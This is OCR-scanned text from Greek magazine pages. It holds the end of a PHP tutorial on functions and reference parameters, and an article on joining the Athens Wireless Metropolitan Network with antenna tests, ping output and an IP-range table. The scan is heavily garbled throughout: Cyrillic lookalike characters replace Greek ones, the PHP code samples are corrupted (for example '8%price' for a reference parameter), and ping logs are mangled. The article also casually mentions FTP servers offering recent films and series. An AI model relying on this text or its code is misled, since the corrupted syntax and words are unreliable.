(:), ενὼ για τον терџапоџо χρησιμοποιείται κάποια апо τις δεσμευμένες λέξεις 
епдмћ е, endfor και епаѓогеасћ. 


Οἱ бікес µας συναρτήσεις 


H PHP ενσωματώνει ἑνα ευρύτατο σύνολο συναρτήσεων. Ема: σίγουρο όμως от! 
δεν περιλαμβάνει жкадеж συνάρτηση που ενδέχεται ма χρειαστούμε. Στο като)-ка- 
τω, µια συνάρτηση μπορεί να περιλαμβάνει ёха τµήµα κὠδικα που χρησιμοποιούμε 
πολύ συχνὰ στο πρὀγραμμὰ µας και το οποίο ενδέχεται να υλοποιείται апо ἐτοιμες 
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συναρτήσεις της γλὠσσας! Ας δούμε λοιπὀν πὼς μπορούμε να opiooupE ша δικἠ µας 
συνάρτηση: 


function опотаѕупагііѕіѕ (Фрагат 1, $рагат 2, ..., $param_K='timi') 4 


оце εσας */ 


return $something ; 


} 


Όπως βλέπετε, о ορισμὸς µιας νέας συνάρτησης ξεκινά µε τη δεσμευμένη λέξη 
function και то επιθυμµητὀ буора. Σημειώστε дті τα ονόματα των συναρτήσεων AKO- 
λουθούν τους κανόνες ονομασίας που ισχύουν και για тіс μεταβλητές, µε τη διαφορά 
ότι τα ονόματα των συναρτήσεων δεν εἶναι ευαἰσθητα στο διαχωρισμό πεζών και 
κεφαλαίων. Βέβαια, ам και о interpreter δεν πρὀκειται να διαµαρτυρηθεἰ, θα ἦταν 
φρόνιμο апо μέρους µας να χρησιμοποιούμε то буора каде συνάρτησης µε ἑναν 
συγκεκριµένο τρόπο. Па να εἶναι ο κὠδικάς µας πιο ευανάγνωστος και για να µην 
δημιουργούνται παρερµηνείες, прёп να αποφεύγουμε την αναφορά σε µια συνάρ- 
τηση γράφοντας το омоџа της πὀτε µε κεφαλαία ка! πὀτε µε πεζἀ. Мета το омоџа 
της συνάρτησης ακολουθεἰ ἑνα ζεύγος παρενθέσεων, μέσα στις опојес παραθέτουμε 
τα ονόματα των παραμέτρων που θἐλουµε να δέχεται η συνάρτησή µας. Φυσικά, µια 
συνάρτηση δεν εἶναι υποχρεωτικό να δέχεται παραμέτρους. Σε αυτήν την περἰπτω- 
ση, το ζεύγος παρενθέσεων εἶναι κενὀ. Παρατηρεἰστε επίσης ὁτι στην παράμετρο 
"рагат_К" έχουμε αποδώσει µία τιμή. Με аџтом τον τρὀπο η συγκεκριμένη параџе- 
трос γίνεται προαιρετικἠ! Αν καλέσουµε τη συνάρτηση χωρίς να δώσουμε τιµή για 
την "рагат Κ',η εν λόγω παράμετρος θα πάρει την προεπιλεγµένη τιµή: Αυτήν που 
екхорпоаџе ката τον ορισμό της συνάρτησης. 


Οι συναρτήσεις εκτελούν διάφορες εργασἰες και πολὺ συχνά επιστρέφουν κάποιο 
αποτέλεσμα. Н "επιστροφή" αυτού του апотелеоџатос πραγματοποιείται µε τη χρή- 
ση της δεσμευμένης λέξης return. Συγκεκριµένα, η συνάρτηση επιστρέφει την τιµή 
που τοποθετούμε στα δεξιὰ της εν λόγω δεσμευμένης λέξης. Επιπρόσθετα, η екте- 
λεση της return τερματίζει τη συνάρτηση. Έτσι, το проураџџа συνεχίζει να εκτελεϊ- 
ται апо εκεἰ опоџ εἰχε κληθεἰ η συνάρτηση. Μια συνάρτηση δεν εἶναι υποχρεωτικὀ 
να επιστρέφει τιµή. Σε αυτή την περίπτωση, η λέξη return δεν συνοδεύεται апо 
κάποια τιµή ενώ μπορούμε και να την παραλείψουμε. Τότε, ο τερματισμός της συ- 
νάρτησης σηματοδοτείται апо το δεξιὸ ἀγκιστρο, που κλείνει το µπλοκ κὠδικα της 
συνάρτησης. 


Отау καλούμε µια συνάρτηση και χρησιμοποιούμε μεταβλητές ως παραμέτρους, η 
συνάρτηση δεν λαμβάνει τις μεταβλητές пара μόνο την τρέχουσα τιμή της καθεμίας. 
Ας δούμε ἑνα παράδειγµα: 


function addTax($price, $taxPercentage){ 
$price *= 1+($taxPercentage/100) ; 


return $price ; 
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J 
$patatasPrice = 10; 


$patatasPriceWithTax = addTax($patatasPrice, 25) ; 
echo "Patatas пет price is $patatasPrice Ап”; 


echo "Patatas final price is $patatasPriceWithTax" ; 


Αν εκτελέσετε το πρὀγραμμα, θα διαπιστώσετε От! η τιµή της μεταβλητής 
$patatasPrice δεν επηρεάστηκε καθόλου апо την κλήση της συνάρτησης addTax. 
H εν λόγω συνάρτηση πἠρε μόνο την τιµή της $patatasPrice και δεν απέκτησε про- 
σβαση στην ἴδια τη μεταβλητή. Αυτό, θα σκεφτείτε, εἰναι γνωστὸ και δεν χρειαζόταν 
επεξήγηση. E, λοιπόν, η РНР επιτρέπει να αλλάξουμε auth τη συμπεριφορά. Па уа 
πετύχουμε кайт! τέτοιο, арке! να χρησιμοποιήσουμε том τελεστή αναφοράς (8). Na- 
ρατηρείστε τη χρήση του ката τον оргаџо της συνάρτησης, στην ακὀλουθη παραλ- 
Хаүй του προγράμματος: 


function аайаТах(8%ргісе, $taxPercentage){ 
$price *= 1+($taxPercentage/100) ; 
return $price; 


} 

ФрататаРгісе = 10; 

$patatasPriceWithTax = addTax($patatasPrice, 25) ; 
echo "Patatas пет price is $patatasPrice Ап”; 


echo "Patatas final price is $patatasPriceWithTax" ; 


Όπως βλέπετε, ката τον ορισµὀ της συνάρτησης και πριν апо την πρώτη παράμετρο, 
τοποθετήσαμε τον τελεστή αναφοράς. Ουσιαστικάἀ, µε TOV τελεστή αναφοράς δηλώ- 
νουµε ὁτι η πρώτη παράμετρος δεν θα αποτελεἰ µια τιµή, αλλά µια παραπομπή προς 
κάποια μεταβλητή! Με αυτόν τον τρόπο, αν καλέσουμε τη συνάρτηση και δώσουμε 
σαν πρώτη παράμετρο µια μεταβλητή, η συνάρτηση δεν θα паркі ἑνα αντίγραφο 
της τιμής της μεταβλητής, αλλά µια амафорав προς την ἴδια τη μεταβλητή. Ἔτσι, αν 
εκτελέσετε το πρόγραμμα, θα δείτε ότι η τιµή της μεταβλητἠς $раїаїа<Ргїсе τροπο- 
ποιεῖται апо την κλήση της ааатах. 


Κάπου εδὠ ἐφτασε η ора να κλείσουμε то паром άρθρο της σειρὰς µας. Φυσικά, 
στο επὀµενο τεύχος θα επανέλθουµε µε ακόµα πιο ενδιαφἐροντα και προχωρημένα 
θέματα γύρω апо τη γλὠσσα προγραμματισμού του LAMP stack. Έως τότε πειραµα- 
τιστεἰτε χωρἰς φόβο, αλλά µε πᾶθος. 


8. Έναν δείκτη, ὁπως θα λέγαμε στη С, στην Pascal και σε ἄλλες γλὠσσες προγραμματισμού. 
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Tags: AWMN, ΝΙΝΟ, RIL8I87, WIFI-WORLD 


by б/аппочб ~ 


Γνωριμία µε το АМ/ММ 


Πώς θα σας φαινόταν η σύνδεση σε ἑνα τεράστιο, ασύρματο ΙΑΝ; Н 

αλήθεια εἶναι өті, ὅσο τεράστιο κι αν εἶναι ἑνα τέτοιο δίκτυο, δεν θα 

βρούμε τίποτα εκεἰ που να µην παρέχεται στο Internet. Ωστόσο, µια 
περιορισμένη δικτυακἠ κοινότητα αποτελεί πρὀσφορο ἐδαφος για την 


ανταλλαγή μουσικἠς, ταινιών, τηλεοπτικών σειρών кі ἄλλων δεδομένων. 
Επίσης, για εμάς τουλάχιστον, ¿va μεγάλο LAN αποτελεἰ ἄλλο èva ... 
μεγάλο παιχνίδι. Από τη στιγµή που διαβάζετε декаНаскег, πιστεύουμε 
ότι το ібіо ισχύει και για εσάς :) 


Γνωριμία µε то AWMN 
ή 


Γύρω στο 2002, отау το γρήγορο Internet 

ἑκανε τα прота του δειλά βήματα, ша 

ομάδα αποφάσισε να δημιουργήσει кат! 

πιο σταθερὀ και φυσικὰ γρηγορότερο. 

Κάπως ἐτσι ξεκίνησε το Athens Wireless е е 
Metropolitan Мећмогк:, το οποίο μέσα σε 
λίγους µήνες κατάφερε να συγκεντρώσει 
пара πολλοὺς χρήστες (http://awmn.net). 
Παρόλο που αρχικά ξεκίνησε ως ἑνας εναλ- 
Хактікдс парохос broadband, темка Ka- 
τέληξε уа λειτουργεἰ παράλληλα HE 1985 Μπορεί то AWMN να ξεκίνησε σαν ἑνας απλὀς 
παρὀχους Internet, χωρίς όμως ма θέλει να πάροχος broadband υπηρεσιών, αλλά κατέληξε 
τους αντικαταστήσει. Το δίκτυο του АМММ σαν το μεγαλύτερο testbed για τις ασύρματες 
λειτουργεἰ ακόµη και σήμερα, ҳоріс να εἰ- TEXVOAOVIEG: 
ναι πλέον τόσο емеруо αλλά χωρὶς και ма 

ἐχει απονεκρωθεἰ. Σε ауто το άρθρο θα δούµε та Васка χαρακτηριστικἁ του АУ/ММ 
και θα μιλήσουμε για τον τρόπο λειτουργἰας του, χωρίς να εισέλθουµε σε Хполлесх 
τεχνικὲς λεπτομέρειες. Φυσικά θα δούμε пос μπορούμε να συνδεθούμε κι εμεὶς σε 
αυτό, ὁπως επἰσης και та оса μπορεί να µας προσφέρει! "Еуа θετικὀ στοιχείο του 
εγχειρήματος, пера апо την ευκαιρἰα για πειραματισμὀ και παιχνίδι µε τον ασύρμα- 
το εξοπλισμὀ, εἶναι το πολὺ χαμηλὀ κόστος. Το μόνο που θα χρειαστούμε εἶναι ша 
καλή” κεραία WiFi. 


Ἔνδον του АМ/ММ 


Πριν ξεκινήσουμε τις ασύρματες περιπέτειες, θα ἦταν кало να γνωρίζουµετις архес 
λειτουργίας του μητροπολιτικού δικτύου. Αυτό θα µας βοηθήσει τόσο στη σύνδεση, 
ово και στην παραμονὴ στο δίκτυο. Θα ξεκινήσουμε µε τη διἀρθρωσήἠ του. То АМММ 
απαρτίζεται апо ασύρματους κὀμβους που χωρίζονται σε δύο κατηγορἱες. Ένας κὀμ- 
Вос μπορεί να αποτελεἰ τµήµα της "ραχοκοκαλιάς" του δικτύου (backbone) ἡ vav 
απλὀ τερματικὀ σταθμό, στον οποίο συνδέονται χρήστες. Με άλλα Лома, ἑνας κὀμ- 
Вос µπορεί εἰτε να διαβιβάζει δεδοµένα μεταξύ ἄλλων κόμβων εἰτε να µεταφἑρει 
πακέτα апо το δίκτυο апо και προς κάποιον χρήστη. Ἑνας κόμβος backbone, όμως, 
µπορεί να λειτουργεἰ *ка* σαν access point, сте να συνδέονται πάνω του απλοὶ 
χρήστες. Αυτή η δικτυακή τοπολογἰα ονομάζεται "partial mesh". Τα δύο διαφορετικἀ 
εἰδη κόμβων χρησιμοποιούν διαφορετικὲς τεχνολογίες. Πα παράδειγµα, οι κόμβοι 
backbone χρησιμοποιούν το πρωτόκολλο 802.118, ενώ οι κόμβοι που λειτουργούν 
σαν access points χρησιμοποιούν το 802.119 και σπανιότερα то 802.11п. Επιπλέον, 
εκτὸς απὀ διαφορετικά πρωτόκολλα χρησιμοποιούνται και διαφορετικὲς κεραίες, µε 
σκοπὸ τη βελτιστοποίηση της απὀδοσης. Συγκεκριµένα, οι κόμβοι backbone χρησι- 
μοποιούν ισχυρά κατευθυντικὲς κεραίες, καθώς εκπέμπουν μόνο προς гмам ἆλλο 
κόμβο και кат" επέκταση προς µια συγκεκριμένη τοποθεσία. Αντίθετα, οι κόμβοι 
τύπου access point χρησιμοποιούν "πανκατευθυντικὲς" κεραίες (omnidirectional), 
αφού το σήμα εκποµπἠς τους πρέπει να λαμβάνεται апо бсо то δυνατὸν περισσό- 
τερους χρήστες. 


Ὅπως καταλαβαίνετε, ¿vac απλὸς client του АУ/ММ χρειάζεται αρκετά απλὀ εξοπλι- 
сро (карта WiFi και ша σχετικἀ ισχυρή κεραἰα). Τι γίνεται όμως µε то software; 
Φυσικά, στο АУ/ММ δεν επικρατεί αναρχία. Αντιθέτως, πρὀκειται για ἑνα αυστηρά 


1. Δεν υφίσταται μόνο στην Αθήνα: http://awmn.net/content.php?r=122-WiND-Project 
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NNNnnn 


NETWORKS metageek 


X Networks Table keyboard shortcuts: j=down, k=up, s=star, c=clear all 
X Star the network you are optimizing іп the Networks list below 


Signal 


Χρησιμοποιώντας éva εργαλείο για τη σάρωση των ασυρµότων δικτύων, εἶναι 
αρκετά εὐκολο να εντοπίσουµε τους κοντινούς κὀμβους του AWMN και уа 
βρούμε τη «σωστή” θέση για την κεραία. 


δομημένο κι ελεγχόμενο δίκτυο. Αν ο καθένας ἑκανε ὁ,ι θεωρούσε σωστὸ, δε θα 
δούλευε απολύτως τίποτα :D [Σ.τ.Ε. from the зиб е-рошса!-теззадез department] 
Το АМ/ММ χρησιμοποιεί τις διευθύνσεις στο subnet 10.0.0.0/8 κι аџто κυρίως για να 
μη εμπλέκεται στα υπόλοιπα δίκτυα και στο Internet. Н жоооту“ διευθυνσιοδότη- 
ση εντὸς του δικτύου, ὁπως επἰσης και о γενικὀτερος έλεγχος της λειτουργίας του, 
πραγματοποιούνται апо то WiND. Το ΝΝΙΝΏ δεν εἶναι τίποτε ἄλλο пара ша εφαρμογἠ 
γραμμένη σε PHP, η οποία γνωρίζει τις διευθύνσεις όλων των κόμβων, ὁπως επἰσης 
και τις υπηρεσίες που προσφέρει ο καθένας. Με άλλα λόγια, αν κάποιος κόμβος δεν 
υπάρχει στα μητρώα του WIND, εἶναι σα να µην υπάρχει καθόλου στο δίκτυο! То 
WiND µπορεί να χρησιμοποιηθεί апо οποιονδήποτε και αποτελεί λογισμικὀ ανοιχτού 
κὠδικα. Πα την ακρἰβεια, το χρησιμοποιούν ὀλες οι ασύρματες κοινότητες στην EÀ- 
Лаба! Την εκδοχἠ του WiND που προορίζεται για то AWMN μπορούμε να την βρούμε 
στο http://wind.awmn.net (µέσω Internet) καθὼς και στο http://wind.awmn (µέσω του 
ασύρματου δικτύου). 


Σύνδεση στο АМ/ММ 


Το прото βήμα που πρέπει να κἄνουμε, акдып και αν δεν ἐχουμε τον απαραίτητο 
εξοπλισμὀ, εἶναι να урафтоџџе στο ММР. Μέσα апо το πρόγραμμα --κι αφού δη- 
λὠσουμε τη διεύθυνση апо την οποία σκοπεύουμε να συνδεθούμε-- θα βρούμε τους 
πλησιἑστερους κόμβους. Αφού τους σημειώσουμε κάπου πρόχειρα, θα χρειαστεί ма 
ανεβούμε στην таратса της πολυκατοικἰας ἡ του σπιτιού µας, μαζί µε ἑνα laptop και 
µια κεραία που γνωρίζουμε от: προσφἑρει калд λήψη. Όπως αντιλαμβάνεστε, σε 
αυτό το отабю χρειαζόμαστε ша карта WiFi µε εξωτερικἠ κεραία. Πάντως, ката τις 
δικὲς µας δοκιμές, η ενσωματωμένη карта του laptop ανταποκρίθηκε ικανοποιητικἀ. 
Τα αποτελἑσµατα орос беу θα εἰναι ἴδια για каде laptop, οὐτε και για каде περιοχή. 
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Wireless Community Network | ІР Range H διευθυνσιοδότηση 
όλων των 
της Ελλάδας! Κάθε 
SWN/TWMN 10.100.0.0/16 - 10.129.0.0/16 Θεσσαλονίκης коло та трена 
έχει διαφορετικές 
10.130.0.0/16 - 10.139.0.0/16 Λαρίσης διευθύνσεις, ὥστε 
όταν συνδέονται 
К ἃ μεταξύ τους να 
Е προβλήµατα στο 
ΒΟΛΟΣ 10.155.0.0/16 - 10.156.0.0/16 Μαγνησίας 
ΦΘΙΩΤΙΔΑ 10.157.0.0/16 - 10.160.0.0/16 Φθιώτιδας 
ποπ | озата 
Ν. ΠΕΛΛΗΣ 10.162.0.0/16 - 10.164.0.0/16 
Ν. ΜΥΚΟΝΟΥ 10.170.0.0/24 - 10.170.100.0/24 
Ν. ΞΑΝΘΗΣ 10.170.101.0/24 - 10.172.195.0/24 | Ξάνθη 
ΝΟΜΟΣ ΑΡΚΑΔΙΑΣ 10.172.196.0/24 - 10.175.38.0/24 | Αρκαδίας 


Εἴμαστε στην ταράτσα, πιθανότατα φορώντας κάποιο џпоџфам ἠ/και γάντια. H 
συσκευἠ εἶναι πλήρως φορτισμένη κι ἑτοιμη για ψάξιμο. Тора, μπορούμε να ξε- 
κινήσουμε την ανίχνευση δικτύων, χρησιμοποιώντας κάποιο проураџџа ὀπως το 
NetStumbler ἡ то πιο πρόσφατο іп551бег. Еџејс εργαστήκαμε υποχρεωτικά µε то 
іп551рег, καθώς то NetStumbler δεν λειτουργεί σωστὰ στις τελευταίες εκδόσεις 
Windows. Αφού επιλέξαμε την карта που θέλουμε να χρησιμοποιηθεί για τη саро- 
ση, εμφανίστηκε µια λίστα µε όλα τα δίκτυα που εντοπἰστηκαν. Μέσα σε αυτά εντο- 
πἰσαμε και гмам κόμβο του АМ/ММ! Αυτό που πρέπει να προσέξουμε εδώ, ειδικά στην 
περίπτωση που εντοπἰσουµε περισσότερους апо ἑναν κόμβους, εἶναι ο θόρυβος του 
σήματος. Σύμφωνα µε тіс οδηγἱες του ΑΝΝΜΝ, ο θόρυβος δεν πρέπει να ξεπερνά τα 
-80db. Στις ταρατσο-δοκιμὲς µας, λαμβάναμε το σήμα του κόμβου µε -50ар. 


Πρώτη επαφἠ και απαραΐτητος εξοπλισμός 


Па τη σύνδεση ото AWMN δεν χρειαζόμαστε εξειδικευμένο hardware. Μάλιστα, ам 
βρισκόμαστε κοντὰ σε κάποιον κόμβο, ενδέχεται να µη χρειαστούμε οὐτε καν εἰ- 
δικἠ κεραία. Σε αυτή την περίπτωση, ша απλἠ карта δικτύου θα εἶναι αρκετή. Τι 
γίνεται ὁμως στην περίπτωση που о κοντινότερος κόμβος εἶναι μερικὲς δεκάδες ἡ 
εκατοντάδες μέτρα μακριά; Εάν то σήμα του πλησιέστερου κόμβου εἶναι ιδιαίτερα 
ασθενὲς ἡ δεν το λαμβάνουμε καν, θα πρέπει να αγοράσουμε µια ισχυρή кераја και 
ша кал κάρτα WiFi. Με δεδομένο бт! σκοπεύουµε να συνδεθούμε σε κἄποιον κόμβο 
και Ох! να λειτουργήσουμε οι ἰδιοι ως access point, μπορούμε уа προμµηθευτούμε 
ша κατευθυντικἠ κεραία και να εκμεταλλευτούμε την υψηλἠ απολαβή που npo- 
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NNNnnn 


Μπορεί να εἶναι φτηνή και ταυτόχρονα 
φτηνιάρικη, αλλά οι επιδόσεις της ἦταν 
Ικανοποιητικότατες! 


ανν ry 


ўй ввоуус 


10.19.143.13: res time=15ms 111=52 
10.19.143.13: Ξ 32ms ТТІ- =52 
10.19.143. 5 іле = 5 2 
from 10.19.143. 
from 10.19.143. 13 
from 10.19.143.13 
from 10.19.143.13 2 
from 10.19.143.13 5 і 47ms 
from 10.19.143.13 [ 2 time=49ms 
from 10.19.143. сїте=41т5 
from 10.19.143.13: сїте =30тѕ 
Ғкоп 10.19.143.13: time=56ms 
from 10.19.143.13: 2 time=44ms 
from 10.19.143.13: time=64ms 
Request timed out. 
Reply from 10.19.143.13: > time=82ms TTL=52 
Request timed out. 
Reply from 18.19.143.13 65-32 time =151тз ГТІ,-52 
Reply from 10.19.143. 2 TL=52 
Reply from 1й0.19.143.13: - 32 5 ТТІ,-52 
Reply from 10.19.143.13: - =3 (есі ВЗА ТТІ,-52 
Request timed out. 
Reply from 1й0.19.143.13: 5532 time=37ms ТТІ,-52 
Reply from 10.19.143.13: Һусев-32 time=53ms ТТІ,-52 


L- 


Μια εὔκολη λύση για να βρούμε τη σωστή θέση της κεραίας, εἶναι уа τρέξουµε 
то рта µε την παράμετρο -t και να παρατηρούμε то χρόνο απόκρισης καθώς 
δοκιμάζουμε διάφορες θέσεις. Όσο μικρότερος ο εν λόγω χρόνος, τὀσο то καλύτερο! 


БВ 


Γνωριμία µε то AWMN 
7 ““Х Хә т” А, УХАЬ ”ее””Тф ”  /у/ /7Т. т” /те”тгШ ,- флдаәьюх”ҺҠ"”ай 


gy C\Windows\system32\cmd.exe 


Microsoft Windows [Version 6.1.7601] 
Copyright <с> 2889 Microsoft Corporation. #11 rights reserved. 


C:\Wsers\giannoug»ping www.awmn 


Pinging srví.awmn 110.19. with 32 bytes of data: 
Reply from 10.19.143.13: ) 32 time=6Øðms ТТІ,-52 

Еате =188т5 ТТІ,-52 
Reply from 10.19.143.1 32 «іпе-біпе ТТІ,-52 
Reply from 10.19.143.13: 32 time=38ms TTL=52 


Ping stat 1с5 Ғок 10.19.143.13: 


РасКе бепе - 4, Ве за А 
Арркохлтабе round trip бі іп т1111 с 
Minimum = Άδης, Maximum = 108пс, Aver 


C:\Users\giannoug>» 


Το прото µας ping στο δίκτυο του AWMN και συγκεκριµένα 
προς την ομώνυμη σελίδα! О server της σελίδας βρίσκεται 
αρκετά μακρυά, γεγονός που δικαιολογεί τους μεγάλους 
χρόνους απόκρισης. Ката τα ἆλλα, η σελίδα φορτώνει 
αισθητά πιο γρήγορα апд ὁ,τι µέσω Internet! 


σφέρουν οι керајес του εἶδους. Σε От! αφορά στην карта, µια αρκετά калп επιλογἠ 
αποτελούν οι υλοποιήσεις που στηρίζονται στο ΒΤΙ8187. Πρὀκειται για γνωστό και 
δοκιμασμένο τσιπ, που το έχουμε χρησιμοποιήσει και σε παλιότερες δοκιμές. Па τις 
ανάγκες του ἄρθρου аүорасане το WIFI-WORLD 880WG. Το πακέτο περιλαμβάνει 
µια κατευθυντικἠ κεραία κι емам WiFi adaptor, που υπόσχεται ισχύ εκπομπἠς κοντὰ 
στα ΒΟΟΟΠΙΝ. Όπως αντιλαμβάνεστε αυτό εἶναι μᾶλλον απίθανο και, γενικότερα, 
η "πλαστικούρα" της συσκευής έδειχνε От! αποτελεί τη φτηνἠ απομίμηση κάποιου 
ποιοτικού και πανάκριβου προϊόντος. Ωστόσο, το συγκεκριµένο πακέτο κὀστιζε пер! 
τα 10 ευρώ και темка δεν µας απογοήτευσε καθόλου. 


Τα βήματα που прёп να ακολουθήσει κανεὶς για τη σύνδεση στο ΑΝΝΜΝ διαφέρουν 
апо конбо σε коџво. Πα παράδειγµα, αν ο γειτονικὀς µας κόμβος χρησιμοποιεί DHCP 
και η πρὀσβαση εἶναι ελεύθερη, μπορούμε να συνδεθούµε αμέσως και ν' αρχίσουμε 
τις περιπλανήσεις στο ΑΝΝΜΝ χωρὶς κανένα επιπλἐον βήμα. Σπάνια, όμως, θα pa- 
νούμε τόσο τυχεροί! Στη δικἠ µας περίπτωση, τα πράγματα ἦταν λἰγο πιο пертлока. 
Κατ' αρχάς, χρειάστηκε να επικοινωνήσουμε µε том ιδιοκτήτη του κόμβου και να τον 
ενημερώσουμε yia τις προθέσεις µας. Αυτού του εἶδους οι συνδιαλλαγὲς γίνονται nå- 
ντα μέσα апо то WIND. О ιδιοκτήτης του κόμβου απάντησε μετὰ апо μερικὲς μέρες 
και µας πρὀτεινε να αγοράσουμε εξοπλισμό µε σχετικἀ αυξημένο κόστος (πάνω апо 
100=ро). Εμεἰὶς τον ενηµερώσαμε ὁτι εἰχαμε προμηθευτεἰ ἠδη τα μηχανήματα (χωρίς 
να αναφέρουμε от! στοίχισαν μόλις το 10 ευρώ) και του δώσαμε το МАС address του 
WiFi adapter. Аџто το εἰχε ζητήσει εξαρχἠς, για να µας προσθέσει σε κἄποιο whilelist 
του κόμβου και να αποκτήσουμε πρὀσβαση! Στη συνέχεια της σύντομης επικοινωνἰ- 
ας µας µε τον ιδιοκτήτη του κόμβου, πήραμε μερικὲς απαραίτητες διευθύνσεις: Την 
προσωπική µας ІР στο δίκτυο του ΑΝΜΝ, τη διεύθυνση του gateway του κόμβου 
και φυσικὰ το αντἰστοιχο subnet mask. Ρυθµἰζοντας το σύστημα µε αυτὲς τις τιμές, 
καταφέραμε επιτέλους να συνδεθούμε στο АМММ! 
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οσο σσ E Bojona εγγραφή 


ЊЕ на рг Θυμάσαι 


Forum Wiki Νέες Δημοσιεύσεις | Quick Links ~ | AWMN Sites ~| οα!οΓβΒ с 


Athens Wireless Metropolitan Network (AWMN) Εγγραφές / Συνδρ. τωματείου Ειδική Αναζήτηση 


Ф Ноте ᾧ Athens Wireless Metropolitan Network (АУ/ММ) 


[3 στατιστικὰ WND | ATHENS WIRELESS METROPOLITAN Є Donations 
NETWORK (AWMN) ш Μπορείς να βοηθήσεις; 


Δωρίζοντας éva ποσό στο 
Ті ειναι το АМ.М.М.; Confine - Open Сай 2 - Ασύρματο Μητροπολιτικό 
Δημοσίευση στις 01/07/2010 13:58 Connected communities: А Δίκτυο Αθηνών βοηθάτε στην 
future internet, built by the ὕπαρξη αυτής της 
о people for ће people {ОРЕМ} Ιστοσελίδας, και 
Δημοσίευση στις 02/09/2013 16:27 Αρθμὸς | ὑποστηρίζετε ёрпрокта тоос 


τ 
МЛМО Project Εμφανίσεων: 477 μηχανισμούς οι οποίοι 
ο ο υποστηρίζουν την διατήρηση 
z The EU- όλων των υπηρεσιών του 
ζω Section Widget «Ἐς білдей δικτύου 
CONFINE ма 


Τι ειναι το AWMN; project is = | [по [5 


= Я ---΄ organizing two open calls to offer our 
Ασύρματες Ασύρματο Μητροπολπικὀ Δίκτυο experimental facilities to external 
Αθηνών ЕЁ 


Κονότητες ηνών εἶναι pia µη κερδοσκοπική _ experimenters from academia, 


AWMN. Н συγκεκριμένη σελίδα μοιάζει να αποτελεί τον κεντρικὀ κόμβο του δικτύου... 


Το AWMN апо μέσα 


Περιττό να πούμε ὁτι μέχρι και о" аџто το στάδιο βρισκόμασταν ακόμα στην тара- 
тоа. Το κρύο ὁμως ἦταν ανυπόφορο και εἶπαμε να δοκιµάσουµμε апо το μπαλκόνι του 
σπιτιού. E, λοιπὸν, η карта των 106 μπορούσε να συνδεθεὶ ικανοποιητικὀτατα! AUTÒ 
μας ενθουσίασε αρκετά, αφού каша ἄλλη карта του εργαστηρίου µας δεν та ката- 
φερνε, ενώ μπορούσαμε πλέον να καθόμαστε στη θαλπωρὴ του γραφείου. 


Με ша πρώτη рата ва μπορούσαμε να πούμε пос то АУ/ММ θυμίζει αρκετά τα δίκτυα 
των Тог και ї2р. Όχι ως προς την ανωνυμία, φυσικἀ, αλλά ως προς то περιεχόµενο. 
Οι σελίδες εἶναι ЖОЛЕСХ ερασιτεχνικἐς και φτιαγμένες κυρίως για να βοηθήσουν та 
υπόλοιπα µέλη του δικτύου, ενώ κανένας δεν μοιάζει να αποζητά το κἐρδος — TOU- 
λάχιστον ὀχι µε τη μορφή διαφημίσεων. Κάθε σελἰδα έχει δημιουργηθεί µε σκοπὀ 
να προσφέρει кат! στο δίκτυο, ау κι όλες οι διαθέσιμες πληροφορίες κυκλοφορούν 
жка στο Internet (και θα τις βρούμε ταχύτατα). Ας αφήσουμε ὁμως τις σελίδες και 
το περιεχόμενό τους, αφού αποτελούν ἑνα μικρὸ μέρος του АМ/ММ! Μπαίνοντας στο 
εν λόγω δίκτυο, λοιπὀν, μπαίνουμε σ' ἑνα шкро κι εξ ολοκλήρου ελληνικὀ Internet! 
Едо χρησιμοποιείται αποκλειστικἀ το top level domain ".амлтп". H πρώτη σελἰδα που 
επισκεφτήκαµε ἦταν η σελἰδα του ΑΝΝΜΝ, που βρἰσκεται στο http://www.awmn (μέσω 
ММ) και λειτουργεί ὁπως ακριβώς και στο http://awmn.net (µέσω Internet). Ὅμως τι 
ἆλλο μπορούμε να κάνουμε, ектос ап! το να κοιτάμε επίμονα την κεντρική σελίδα 
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του ΑΝΝΜΝ; Αν εἰστε αρκετά παρατηρη- 
τικοί, θα διαπιστὠσατε ὁτι στην αριστε- 
рӯ περιοχἠ του περιβάλλοντος του WiND 
υπάρχει éva μενού. Ек=і αναφέρονται 
όλες οι υπηρεσίες που παρέχουν οἱ χρή- 
στες και δεν θα βρούμε πουθενὰ ἄλλου 
κάποια πληρέστερη λίστα. 


Εμείς, βλέπουμε то ΑΝΝΜΝ σαν èva TE- 
ράστιο ΙΑΝ. Ίσως аото να οφείλεται 
στο γεγονὸς ὁτι η πρὀσβασή µας στο 
Internet εἶναι πλέον δεδομένη, µε ano- 
τἐλεσμα να ενδιαφερὀµαστε περισσὀτε- 
ро για την ανταλλαγἠ αρχείων. Κοιτάζο- 
ντας τις υπηρεσίες, θα βρούμε αρκετούς 
FTP servers αλλά και πολλά DC++ hubs. 
Με µια γρήγορη ματιὰ στους FTP, εντο- 
πίσαμε καμπόσους που διέθεταν про- 
σφατες ταινίες *ка!* σειρές. Едо αξίζει 
να σημειώσουμε πως η ταχύτητα ἦταν 
πολύ калд — και τις περισσότερες φορὲς 
ἦταν τριπλάσια апо εκεἰνη της σύνδεσης 
ADSL. 


ΟΙ µερακλήδες του AWMN υλοποιούν κόμβους του 
δικτύου, διατηρώντας ολόκληρους υπολογιστές 


! ! ! Д μέσα σε отеүауа κουτιά! Σκἐφτεστε От! πρὀκειται 
Μπορεἰ στη θεωρία να φαίνονται όλα για éva ενδιαφέρον μελλοντικό project; Είναι ήδη 


απλά --εμείς τουλάχιστον αυτό σκεφτή- στα σχέδιά µας ;) 
кане αρχικά-- αλλά στην πράξη τα прау- 

рата εἶναι αρκετά пертлока. Και μόνο о 

εντοπισμὀς του κοντινότερου κόμβου κρύβει πολλὲς παγίδες. Мпорєі να πιάνουµε то 
σήμα του κόμβου που βρίσκεται στη διπλανἡ πολυκατοικία, алла θα έχουμε ισχυρὀ 
και χωρίς διακοπὲς σήμα; Εἶναι καλύτερα ма στρέψουμετην κεραία στη νοητή ευθεἰα 
προς τον κόμβο ἡ εἶναι καλύτερα ма στοχεύουμε την απέναντι πολυκατοικία για να 
εκμεταλλευτούμε την (ὁποια) αντανάκλαση: των κυμάτων; Όλα αυτά, βέβαια, ana- 
ντώνται μόνο µε δοκιμὲς και *поААёс* προσπάθειες. 


Επίλογος 


Αφού συνδεθούμε, πρέπει να βεβαιωθούμε оті λειτουργούν όλα ρολόι. Οι περισσὀ- 
τερες συσκευὲς εἶναι κλειδωμένες και λειτουργούν μέσα στα ὀρια της Ευρωπαϊκής 
Ένωσης, οπὀτε δεν Χρειάζεται να ασχοληθούμε καθόλου µε τη νομικίστικη πλευρά 
του εγχειρήματος. Αυτό που αξίζει να προσέξουμε, орос, ειδικἀ αν σκοπεύουµε ма 
